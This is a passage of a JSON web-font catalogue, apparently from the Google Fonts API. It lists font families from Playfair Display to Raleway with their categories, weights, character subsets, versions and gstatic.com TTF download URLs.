        "500italic": "http://fonts.gstatic.com/s/playfairdisplay/v20/nuFRD-vYSZviVYUb_rj3ij__anPXDTnCjmHKM4nYO7KN_pqTbtbK-F2rA0s.ttf",
        "600italic": "http://fonts.gstatic.com/s/playfairdisplay/v20/nuFRD-vYSZviVYUb_rj3ij__anPXDTnCjmHKM4nYO7KN_naUbtbK-F2rA0s.ttf",
        "700italic": "http://fonts.gstatic.com/s/playfairdisplay/v20/nuFRD-vYSZviVYUb_rj3ij__anPXDTnCjmHKM4nYO7KN_k-UbtbK-F2rA0s.ttf",
        "800italic": "http://fonts.gstatic.com/s/playfairdisplay/v20/nuFRD-vYSZviVYUb_rj3ij__anPXDTnCjmHKM4nYO7KN_iiUbtbK-F2rA0s.ttf",
        "900italic": "http://fonts.gstatic.com/s/playfairdisplay/v20/nuFRD-vYSZviVYUb_rj3ij__anPXDTnCjmHKM4nYO7KN_gGUbtbK-F2rA0s.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Playfair Display SC",
      "category": "serif",
      "variants": [
        "regular",
        "italic",
        "700",
        "700italic",
        "900",
        "900italic"
      ],
      "subsets": [
        "cyrillic",
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/playfairdisplaysc/v9/ke85OhoaMkR6-hSn7kbHVoFf7ZfgMPr_pb4GEcM2M4s.ttf",
        "italic": "http://fonts.gstatic.com/s/playfairdisplaysc/v9/ke87OhoaMkR6-hSn7kbHVoFf7ZfgMPr_lbwMFeEzI4sNKg.ttf",
        "700": "http://fonts.gstatic.com/s/playfairdisplaysc/v9/ke80OhoaMkR6-hSn7kbHVoFf7ZfgMPr_nQIpNcsdL4IUMyE.ttf",
        "700italic": "http://fonts.gstatic.com/s/playfairdisplaysc/v9/ke82OhoaMkR6-hSn7kbHVoFf7ZfgMPr_lbw0qc4XK6ARIyH5IA.ttf",
        "900": "http://fonts.gstatic.com/s/playfairdisplaysc/v9/ke80OhoaMkR6-hSn7kbHVoFf7ZfgMPr_nTorNcsdL4IUMyE.ttf",
        "900italic": "http://fonts.gstatic.com/s/playfairdisplaysc/v9/ke82OhoaMkR6-hSn7kbHVoFf7ZfgMPr_lbw0kcwXK6ARIyH5IA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Podkova",
      "category": "serif",
      "variants": [
        "regular",
        "500",
        "600",
        "700",
        "800"
      ],
      "subsets": [
        "cyrillic",
        "vietnamese",
        "cyrillic-ext",
        "latin-ext",
        "latin"
      ],
      "version": "v16",
      "lastModified": "2020-02-05",
      "files": {
        "regular": "http://fonts.gstatic.com/s/podkova/v16/K2FufZ1EmftJSV9VQpXb1lo9vC3nZWtFzcU4EoporSHH.ttf",
        "500": "http://fonts.gstatic.com/s/podkova/v16/K2FufZ1EmftJSV9VQpXb1lo9vC3nZWt3zcU4EoporSHH.ttf",
        "600": "http://fonts.gstatic.com/s/podkova/v16/K2FufZ1EmftJSV9VQpXb1lo9vC3nZWubysU4EoporSHH.ttf",
        "700": "http://fonts.gstatic.com/s/podkova/v16/K2FufZ1EmftJSV9VQpXb1lo9vC3nZWuiysU4EoporSHH.ttf",
        "800": "http://fonts.gstatic.com/s/podkova/v16/K2FufZ1EmftJSV9VQpXb1lo9vC3nZWvFysU4EoporSHH.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Poiret One",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "cyrillic",
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/poiretone/v8/UqyVK80NJXN4zfRgbdfbk5lWVscxdKE.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Poller One",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/pollerone/v9/ahccv82n0TN3gia5E4Bud-lbgUS5u0s.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Poly",
      "category": "serif",
      "variants": [
        "regular",
        "italic"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/poly/v10/MQpb-W6wKNitRLCAq2Lpris.ttf",
        "italic": "http://fonts.gstatic.com/s/poly/v10/MQpV-W6wKNitdLKKr0DsviuGWA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Pompiere",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/pompiere/v9/VEMyRoxis5Dwuyeov6Wt5jDtreOL.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Pontano Sans",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/pontanosans/v7/qFdD35GdgYR8EzR6oBLDHa3qwjUMg1siNQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Poor Story",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "korean",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/poorstory/v8/jizfREFUsnUct9P6cDfd4OmnLD0Z4zM.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Poppins",
      "category": "sans-serif",
      "variants": [
        "100",
        "100italic",
        "200",
        "200italic",
        "300",
        "300italic",
        "regular",
        "italic",
        "500",
        "500italic",
        "600",
        "600italic",
        "700",
        "700italic",
        "800",
        "800italic",
        "900",
        "900italic"
      ],
      "subsets": [
        "devanagari",
        "latin-ext",
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-10-15",
      "files": {
        "100": "http://fonts.gstatic.com/s/poppins/v9/pxiGyp8kv8JHgFVrLPTed3FBGPaTSQ.ttf",
        "100italic": "http://fonts.gstatic.com/s/poppins/v9/pxiAyp8kv8JHgFVrJJLmE3tFOvODSVFF.ttf",
        "200": "http://fonts.gstatic.com/s/poppins/v9/pxiByp8kv8JHgFVrLFj_V1tvFP-KUEg.ttf",
        "200italic": "http://fonts.gstatic.com/s/poppins/v9/pxiDyp8kv8JHgFVrJJLmv1plEN2PQEhcqw.ttf",
        "300": "http://fonts.gstatic.com/s/poppins/v9/pxiByp8kv8JHgFVrLDz8V1tvFP-KUEg.ttf",
        "300italic": "http://fonts.gstatic.com/s/poppins/v9/pxiDyp8kv8JHgFVrJJLm21llEN2PQEhcqw.ttf",
        "regular": "http://fonts.gstatic.com/s/poppins/v9/pxiEyp8kv8JHgFVrFJDUc1NECPY.ttf",
        "italic": "http://fonts.gstatic.com/s/poppins/v9/pxiGyp8kv8JHgFVrJJLed3FBGPaTSQ.ttf",
        "500": "http://fonts.gstatic.com/s/poppins/v9/pxiByp8kv8JHgFVrLGT9V1tvFP-KUEg.ttf",
        "500italic": "http://fonts.gstatic.com/s/poppins/v9/pxiDyp8kv8JHgFVrJJLmg1hlEN2PQEhcqw.ttf",
        "600": "http://fonts.gstatic.com/s/poppins/v9/pxiByp8kv8JHgFVrLEj6V1tvFP-KUEg.ttf",
        "600italic": "http://fonts.gstatic.com/s/poppins/v9/pxiDyp8kv8JHgFVrJJLmr19lEN2PQEhcqw.ttf",
        "700": "http://fonts.gstatic.com/s/poppins/v9/pxiByp8kv8JHgFVrLCz7V1tvFP-KUEg.ttf",
        "700italic": "http://fonts.gstatic.com/s/poppins/v9/pxiDyp8kv8JHgFVrJJLmy15lEN2PQEhcqw.ttf",
        "800": "http://fonts.gstatic.com/s/poppins/v9/pxiByp8kv8JHgFVrLDD4V1tvFP-KUEg.ttf",
        "800italic": "http://fonts.gstatic.com/s/poppins/v9/pxiDyp8kv8JHgFVrJJLm111lEN2PQEhcqw.ttf",
        "900": "http://fonts.gstatic.com/s/poppins/v9/pxiByp8kv8JHgFVrLBT5V1tvFP-KUEg.ttf",
        "900italic": "http://fonts.gstatic.com/s/poppins/v9/pxiDyp8kv8JHgFVrJJLm81xlEN2PQEhcqw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Port Lligat Sans",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/portlligatsans/v8/kmKmZrYrGBbdN1aV7Vokow6Lw4s4l7N0Tx4xEcQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Port Lligat Slab",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/portlligatslab/v8/LDIpaoiQNgArA8kR7ulhZ8P_NYOss7ob9yGLmfI.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Pragati Narrow",
      "category": "sans-serif",
      "variants": [
        "regular",
        "700"
      ],
      "subsets": [
        "devanagari",
        "latin-ext",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/pragatinarrow/v5/vm8vdRf0T0bS1ffgsPB7WZ-mD17_ytN3M48a.ttf",
        "700": "http://fonts.gstatic.com/s/pragatinarrow/v5/vm8sdRf0T0bS1ffgsPB7WZ-mD2ZD5fd_GJMTlo_4.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Prata",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "cyrillic",
        "vietnamese",
        "cyrillic-ext",
        "latin"
      ],
      "version": "v11",
      "lastModified": "2020-01-30",
      "files": {
        "regular": "http://fonts.gstatic.com/s/prata/v11/6xKhdSpbNNCT-vWIAG_5LWwJ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Preahvihear",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "khmer"
      ],
      "version": "v11",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/preahvihear/v11/6NUS8F-dNQeEYhzj7uluxswE49FJf8Wv.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Press Start 2P",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "cyrillic",
        "cyrillic-ext",
        "greek",
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/pressstart2p/v8/e3t4euO8T-267oIAQAu6jDQyK0nSgPJE4580.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Pridi",
      "category": "serif",
      "variants": [
        "200",
        "300",
        "regular",
        "500",
        "600",
        "700"
      ],
      "subsets": [
        "vietnamese",
        "thai",
        "latin-ext",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-07-16",
      "files": {
        "200": "http://fonts.gstatic.com/s/pridi/v5/2sDdZG5JnZLfkc1SiE0jRUG0AqUc.ttf",
        "300": "http://fonts.gstatic.com/s/pridi/v5/2sDdZG5JnZLfkc02i00jRUG0AqUc.ttf",
        "regular": "http://fonts.gstatic.com/s/pridi/v5/2sDQZG5JnZLfkfWao2krbl29.ttf",
        "500": "http://fonts.gstatic.com/s/pridi/v5/2sDdZG5JnZLfkc1uik0jRUG0AqUc.ttf",
        "600": "http://fonts.gstatic.com/s/pridi/v5/2sDdZG5JnZLfkc1CjU0jRUG0AqUc.ttf",
        "700": "http://fonts.gstatic.com/s/pridi/v5/2sDdZG5JnZLfkc0mjE0jRUG0AqUc.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Princess Sofia",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/princesssofia/v8/qWczB6yguIb8DZ_GXZst16n7GRz7mDUoupoI.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Prociono",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/prociono/v9/r05YGLlR-KxAf9GGO8upyDYtStiJ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Prompt",
      "category": "sans-serif",
      "variants": [
        "100",
        "100italic",
        "200",
        "200italic",
        "300",
        "300italic",
        "regular",
        "italic",
        "500",
        "500italic",
        "600",
        "600italic",
        "700",
        "700italic",
        "800",
        "800italic",
        "900",
        "900italic"
      ],
      "subsets": [
        "vietnamese",
        "thai",
        "latin-ext",
        "latin"
      ],
      "version": "v4",
      "lastModified": "2019-07-17",
      "files": {
        "100": "http://fonts.gstatic.com/s/prompt/v4/-W_9XJnvUD7dzB2CA9oYREcjeo0k.ttf",
        "100italic": "http://fonts.gstatic.com/s/prompt/v4/-W_7XJnvUD7dzB2KZeJ8TkMBf50kbiM.ttf",
        "200": "http://fonts.gstatic.com/s/prompt/v4/-W_8XJnvUD7dzB2Cr_s4bmkvc5Q9dw.ttf",
        "200italic": "http://fonts.gstatic.com/s/prompt/v4/-W_6XJnvUD7dzB2KZeLQb2MrUZEtdzow.ttf",
        "300": "http://fonts.gstatic.com/s/prompt/v4/-W_8XJnvUD7dzB2Cy_g4bmkvc5Q9dw.ttf",
        "300italic": "http://fonts.gstatic.com/s/prompt/v4/-W_6XJnvUD7dzB2KZeK0bGMrUZEtdzow.ttf",
        "regular": "http://fonts.gstatic.com/s/prompt/v4/-W__XJnvUD7dzB26Z9AcZkIzeg.ttf",
        "italic": "http://fonts.gstatic.com/s/prompt/v4/-W_9XJnvUD7dzB2KZdoYREcjeo0k.ttf",
        "500": "http://fonts.gstatic.com/s/prompt/v4/-W_8XJnvUD7dzB2Ck_k4bmkvc5Q9dw.ttf",
        "500italic": "http://fonts.gstatic.com/s/prompt/v4/-W_6XJnvUD7dzB2KZeLsbWMrUZEtdzow.ttf",
        "600": "http://fonts.gstatic.com/s/prompt/v4/-W_8XJnvUD7dzB2Cv_44bmkvc5Q9dw.ttf",
        "600italic": "http://fonts.gstatic.com/s/prompt/v4/-W_6XJnvUD7dzB2KZeLAamMrUZEtdzow.ttf",
        "700": "http://fonts.gstatic.com/s/prompt/v4/-W_8XJnvUD7dzB2C2_84bmkvc5Q9dw.ttf",
        "700italic": "http://fonts.gstatic.com/s/prompt/v4/-W_6XJnvUD7dzB2KZeKka2MrUZEtdzow.ttf",
        "800": "http://fonts.gstatic.com/s/prompt/v4/-W_8XJnvUD7dzB2Cx_w4bmkvc5Q9dw.ttf",
        "800italic": "http://fonts.gstatic.com/s/prompt/v4/-W_6XJnvUD7dzB2KZeK4aGMrUZEtdzow.ttf",
        "900": "http://fonts.gstatic.com/s/prompt/v4/-W_8XJnvUD7dzB2C4_04bmkvc5Q9dw.ttf",
        "900italic": "http://fonts.gstatic.com/s/prompt/v4/-W_6XJnvUD7dzB2KZeKcaWMrUZEtdzow.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Prosto One",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "cyrillic",
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/prostoone/v8/OpNJno4VhNfK-RgpwWWxpipfWhXD00c.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Proza Libre",
      "category": "sans-serif",
      "variants": [
        "regular",
        "italic",
        "500",
        "500italic",
        "600",
        "600italic",
        "700",
        "700italic",
        "800",
        "800italic"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v4",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/prozalibre/v4/LYjGdGHgj0k1DIQRyUEyyHovftvXWYyz.ttf",
        "italic": "http://fonts.gstatic.com/s/prozalibre/v4/LYjEdGHgj0k1DIQRyUEyyEotdN_1XJyz7zc.ttf",
        "500": "http://fonts.gstatic.com/s/prozalibre/v4/LYjbdGHgj0k1DIQRyUEyyELbV__fcpC69i6N.ttf",
        "500italic": "http://fonts.gstatic.com/s/prozalibre/v4/LYjZdGHgj0k1DIQRyUEyyEotTCvceJSY8z6Np1k.ttf",
        "600": "http://fonts.gstatic.com/s/prozalibre/v4/LYjbdGHgj0k1DIQRyUEyyEL3UP_fcpC69i6N.ttf",
        "600italic": "http://fonts.gstatic.com/s/prozalibre/v4/LYjZdGHgj0k1DIQRyUEyyEotTAfbeJSY8z6Np1k.ttf",
        "700": "http://fonts.gstatic.com/s/prozalibre/v4/LYjbdGHgj0k1DIQRyUEyyEKTUf_fcpC69i6N.ttf",
        "700italic": "http://fonts.gstatic.com/s/prozalibre/v4/LYjZdGHgj0k1DIQRyUEyyEotTGPaeJSY8z6Np1k.ttf",
        "800": "http://fonts.gstatic.com/s/prozalibre/v4/LYjbdGHgj0k1DIQRyUEyyEKPUv_fcpC69i6N.ttf",
        "800italic": "http://fonts.gstatic.com/s/prozalibre/v4/LYjZdGHgj0k1DIQRyUEyyEotTH_ZeJSY8z6Np1k.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Public Sans",
      "category": "sans-serif",
      "variants": [
        "100",
        "200",
        "300",
        "regular",
        "500",
        "600",
        "700",
        "800",
        "900",
        "100italic",
        "200italic",
        "300italic",
        "italic",
        "500italic",
        "600italic",
        "700italic",
        "800italic",
        "900italic"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v3",
      "lastModified": "2020-02-05",
      "files": {
        "100": "http://fonts.gstatic.com/s/publicsans/v3/ijwGs572Xtc6ZYQws9YVwllKVG8qX1oyOymuFpi5ww0pX189fg.ttf",
        "200": "http://fonts.gstatic.com/s/publicsans/v3/ijwGs572Xtc6ZYQws9YVwllKVG8qX1oyOymulpm5ww0pX189fg.ttf",
        "300": "http://fonts.gstatic.com/s/publicsans/v3/ijwGs572Xtc6ZYQws9YVwllKVG8qX1oyOymuSJm5ww0pX189fg.ttf",
        "regular": "http://fonts.gstatic.com/s/publicsans/v3/ijwGs572Xtc6ZYQws9YVwllKVG8qX1oyOymuFpm5ww0pX189fg.ttf",
        "500": "http://fonts.gstatic.com/s/publicsans/v3/ijwGs572Xtc6ZYQws9YVwllKVG8qX1oyOymuJJm5ww0pX189fg.ttf",
        "600": "http://fonts.gstatic.com/s/publicsans/v3/ijwGs572Xtc6ZYQws9YVwllKVG8qX1oyOymuyJ65ww0pX189fg.ttf",
        "700": "http://fonts.gstatic.com/s/publicsans/v3/ijwGs572Xtc6ZYQws9YVwllKVG8qX1oyOymu8Z65ww0pX189fg.ttf",
        "800": "http://fonts.gstatic.com/s/publicsans/v3/ijwGs572Xtc6ZYQws9YVwllKVG8qX1oyOymulp65ww0pX189fg.ttf",
        "900": "http://fonts.gstatic.com/s/publicsans/v3/ijwGs572Xtc6ZYQws9YVwllKVG8qX1oyOymuv565ww0pX189fg.ttf",
        "100italic": "http://fonts.gstatic.com/s/publicsans/v3/ijwAs572Xtc6ZYQws9YVwnNDZpDyNjGolS673tpRgQctfVotfj7j.ttf",
        "200italic": "http://fonts.gstatic.com/s/publicsans/v3/ijwAs572Xtc6ZYQws9YVwnNDZpDyNjGolS673trRgActfVotfj7j.ttf",
        "300italic": "http://fonts.gstatic.com/s/publicsans/v3/ijwAs572Xtc6ZYQws9YVwnNDZpDyNjGolS673toPgActfVotfj7j.ttf",
        "italic": "http://fonts.gstatic.com/s/publicsans/v3/ijwAs572Xtc6ZYQws9YVwnNDZpDyNjGolS673tpRgActfVotfj7j.ttf",
        "500italic": "http://fonts.gstatic.com/s/publicsans/v3/ijwAs572Xtc6ZYQws9YVwnNDZpDyNjGolS673tpjgActfVotfj7j.ttf",
        "600italic": "http://fonts.gstatic.com/s/publicsans/v3/ijwAs572Xtc6ZYQws9YVwnNDZpDyNjGolS673tqPhwctfVotfj7j.ttf",
        "700italic": "http://fonts.gstatic.com/s/publicsans/v3/ijwAs572Xtc6ZYQws9YVwnNDZpDyNjGolS673tq2hwctfVotfj7j.ttf",
        "800italic": "http://fonts.gstatic.com/s/publicsans/v3/ijwAs572Xtc6ZYQws9YVwnNDZpDyNjGolS673trRhwctfVotfj7j.ttf",
        "900italic": "http://fonts.gstatic.com/s/publicsans/v3/ijwAs572Xtc6ZYQws9YVwnNDZpDyNjGolS673tr4hwctfVotfj7j.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Puritan",
      "category": "sans-serif",
      "variants": [
        "regular",
        "italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/puritan/v11/845YNMgkAJ2VTtIo9JrwRdaI50M.ttf",
        "italic": "http://fonts.gstatic.com/s/puritan/v11/845aNMgkAJ2VTtIoxJj6QfSN90PfXA.ttf",
        "700": "http://fonts.gstatic.com/s/puritan/v11/845dNMgkAJ2VTtIozCbfYd6j-0rGRes.ttf",
        "700italic": "http://fonts.gstatic.com/s/puritan/v11/845fNMgkAJ2VTtIoxJjC_dup_2jDVevnLQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Purple Purse",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/purplepurse/v8/qWctB66gv53iAp-Vfs4My6qyeBb_ujA4ug.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Quando",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/quando/v8/xMQVuFNaVa6YuW0pC6WzKX_QmA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Quantico",
      "category": "sans-serif",
      "variants": [
        "regular",
        "italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/quantico/v9/rax-HiSdp9cPL3KIF4xsLjxSmlLZ.ttf",
        "italic": "http://fonts.gstatic.com/s/quantico/v9/rax4HiSdp9cPL3KIF7xuJDhwn0LZ6T8.ttf",
        "700": "http://fonts.gstatic.com/s/quantico/v9/rax5HiSdp9cPL3KIF7TQARhasU7Q8Cad.ttf",
        "700italic": "http://fonts.gstatic.com/s/quantico/v9/rax7HiSdp9cPL3KIF7xuHIRfu0ry9TadML4.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Quattrocento",
      "category": "serif",
      "variants": [
        "regular",
        "700"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/quattrocento/v11/OZpEg_xvsDZQL_LKIF7q4jPHxGL7f4jFuA.ttf",
        "700": "http://fonts.gstatic.com/s/quattrocento/v11/OZpbg_xvsDZQL_LKIF7q4jP_eE3fd6PZsXcM9w.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Quattrocento Sans",
      "category": "sans-serif",
      "variants": [
        "regular",
        "italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v12",
      "lastModified": "2019-07-17",
      "files": {
        "regular": "http://fonts.gstatic.com/s/quattrocentosans/v12/va9c4lja2NVIDdIAAoMR5MfuElaRB3zOvU7eHGHJ.ttf",
        "italic": "http://fonts.gstatic.com/s/quattrocentosans/v12/va9a4lja2NVIDdIAAoMR5MfuElaRB0zMt0r8GXHJkLI.ttf",
        "700": "http://fonts.gstatic.com/s/quattrocentosans/v12/va9Z4lja2NVIDdIAAoMR5MfuElaRB0RykmrWN33AiasJ.ttf",
        "700italic": "http://fonts.gstatic.com/s/quattrocentosans/v12/va9X4lja2NVIDdIAAoMR5MfuElaRB0zMj_bTPXnijLsJV7E.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Questrial",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-17",
      "files": {
        "regular": "http://fonts.gstatic.com/s/questrial/v9/QdVUSTchPBm7nuUeVf7EuStkm20oJA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Quicksand",
      "category": "sans-serif",
      "variants": [
        "300",
        "regular",
        "500",
        "600",
        "700"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v20",
      "lastModified": "2020-02-05",
      "files": {
        "300": "http://fonts.gstatic.com/s/quicksand/v20/6xK-dSZaM9iE8KbpRA_LJ3z8mH9BOJvgkKEo18G0wx40QDw.ttf",
        "regular": "http://fonts.gstatic.com/s/quicksand/v20/6xK-dSZaM9iE8KbpRA_LJ3z8mH9BOJvgkP8o18G0wx40QDw.ttf",
        "500": "http://fonts.gstatic.com/s/quicksand/v20/6xK-dSZaM9iE8KbpRA_LJ3z8mH9BOJvgkM0o18G0wx40QDw.ttf",
        "600": "http://fonts.gstatic.com/s/quicksand/v20/6xK-dSZaM9iE8KbpRA_LJ3z8mH9BOJvgkCEv18G0wx40QDw.ttf",
        "700": "http://fonts.gstatic.com/s/quicksand/v20/6xK-dSZaM9iE8KbpRA_LJ3z8mH9BOJvgkBgv18G0wx40QDw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Quintessential",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/quintessential/v7/fdNn9sOGq31Yjnh3qWU14DdtjY5wS7kmAyxM.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Qwigley",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/qwigley/v9/1cXzaU3UGJb5tGoCuVxsi1mBmcE.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Racing Sans One",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/racingsansone/v7/sykr-yRtm7EvTrXNxkv5jfKKyDCwL3rmWpIBtA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Radley",
      "category": "serif",
      "variants": [
        "regular",
        "italic"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v14",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/radley/v14/LYjDdGzinEIjCN19oAlEpVs3VQ.ttf",
        "italic": "http://fonts.gstatic.com/s/radley/v14/LYjBdGzinEIjCN1NogNAh14nVcfe.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Rajdhani",
      "category": "sans-serif",
      "variants": [
        "300",
        "regular",
        "500",
        "600",
        "700"
      ],
      "subsets": [
        "devanagari",
        "latin-ext",
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-17",
      "files": {
        "300": "http://fonts.gstatic.com/s/rajdhani/v9/LDI2apCSOBg7S-QT7pasEcOsc-bGkqIw.ttf",
        "regular": "http://fonts.gstatic.com/s/rajdhani/v9/LDIxapCSOBg7S-QT7q4AOeekWPrP.ttf",
        "500": "http://fonts.gstatic.com/s/rajdhani/v9/LDI2apCSOBg7S-QT7pb0EMOsc-bGkqIw.ttf",
        "600": "http://fonts.gstatic.com/s/rajdhani/v9/LDI2apCSOBg7S-QT7pbYF8Osc-bGkqIw.ttf",
        "700": "http://fonts.gstatic.com/s/rajdhani/v9/LDI2apCSOBg7S-QT7pa8FsOsc-bGkqIw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Rakkas",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "arabic",
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/rakkas/v7/Qw3cZQlNHiblL3j_lttPOeMcCw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Raleway",
      "category": "sans-serif",
      "variants": [
        "100",
        "100italic",
        "200",
        "200italic",
        "300",
        "300italic",
        "regular",
        "italic",
        "500",
        "500italic",
        "600",
        "600italic",
        "700",
        "700italic",
        "800",
        "800italic",
        "900",
        "900italic"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v14",
      "lastModified": "2019-07-23",
      "files": {
        "100": "http://fonts.gstatic.com/s/raleway/v14/1Ptsg8zYS_SKggPNwE4ISotrDfGGxA.ttf",
        "100italic": "http://fonts.gstatic.com/s/raleway/v14/1Ptqg8zYS_SKggPNyCgwLoFvL_SWxEMT.ttf",
